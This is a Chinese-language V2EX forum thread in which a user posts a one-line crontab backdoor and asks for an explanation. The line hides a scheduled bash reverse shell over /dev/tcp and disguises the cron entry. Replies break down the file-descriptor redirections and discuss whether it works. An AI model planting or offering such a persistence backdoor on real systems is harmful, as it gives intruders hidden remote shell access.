snopy
V2EX  ›  问与答

麻烦懂的详细解释下这段 shell 脚本

  •  
  •   snopy · Nov 25, 2016 · 1998 views
    This topic created in 3457 days ago, the information mentioned may be changed or developed.

    直接贴代码了,如下:

    (crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile – I;\rno crontab for whoami%100c\n")|crontab -

    嗯,这是一段 crontab 后门的代码

    12 replies    2016-11-26 13:06:30 +08:00
    lrvy
        1
    lrvy  
       Nov 25, 2016
    监听本地 8080 端口 nc -l -p 8080
    redsonic
        2
    redsonic  
       Nov 25, 2016
    传说中的用 bash 进行网络通讯
    Tink
        4
    Tink  
    PRO
       Nov 25, 2016   ❤️ 1
    skydiver
        5
    skydiver  
       Nov 25, 2016
    感觉是复制粘贴错了吧,根本运行不了
    Owenjia
        6
    Owenjia  
       Nov 25, 2016
    这是从哪复制来的?好像不太对吧?貌似有些是转义过的,后面那个 –( U+2013 )……
    格式化下应该就好看懂了,主要是重定向和文件描述符。

    exec 9<> /dev/tcp/localhost/8080
    exec 0 <& 9
    exec 1 >& 9 2>& 1
    skydiver
        7
    skydiver  
       Nov 25, 2016
    @Owenjia 运行不了,后来发现是因为我用的 zsh , bash 里这样才行
    rrfeng
        8
    rrfeng  
       Nov 25, 2016
    约等于于在 8080 开了个 bash ……
    Owenjia
        9
    Owenjia  
       Nov 25, 2016
    @skydiver
    恩, zsh 没有 /dev/{tcp,udp}/host/port ,不过可以用 zshtcpsys 。
    skydiver
        10
    skydiver  
       Nov 26, 2016 via Android
    @rrfeng 这个并没有监听端口吧
    rrfeng
        11
    rrfeng  
       Nov 26, 2016 via Android
    @skydiver
    /dev/tcp/localhost/8080
    这就是端口
    skydiver
        12
    skydiver  
       Nov 26, 2016
    @rrfeng 我试了,这个并不会监听端口,只会连接到端口, bash 告诉我 Connection refused

    就算是监听也不应该监听 localhost 啊,那样外面又连不上……
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   1577 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 84ms · UTC 16:31 · PVG 00:31 · LAX 09:31 · JFK 12:31
    ♥ Do have faith in what you're doing.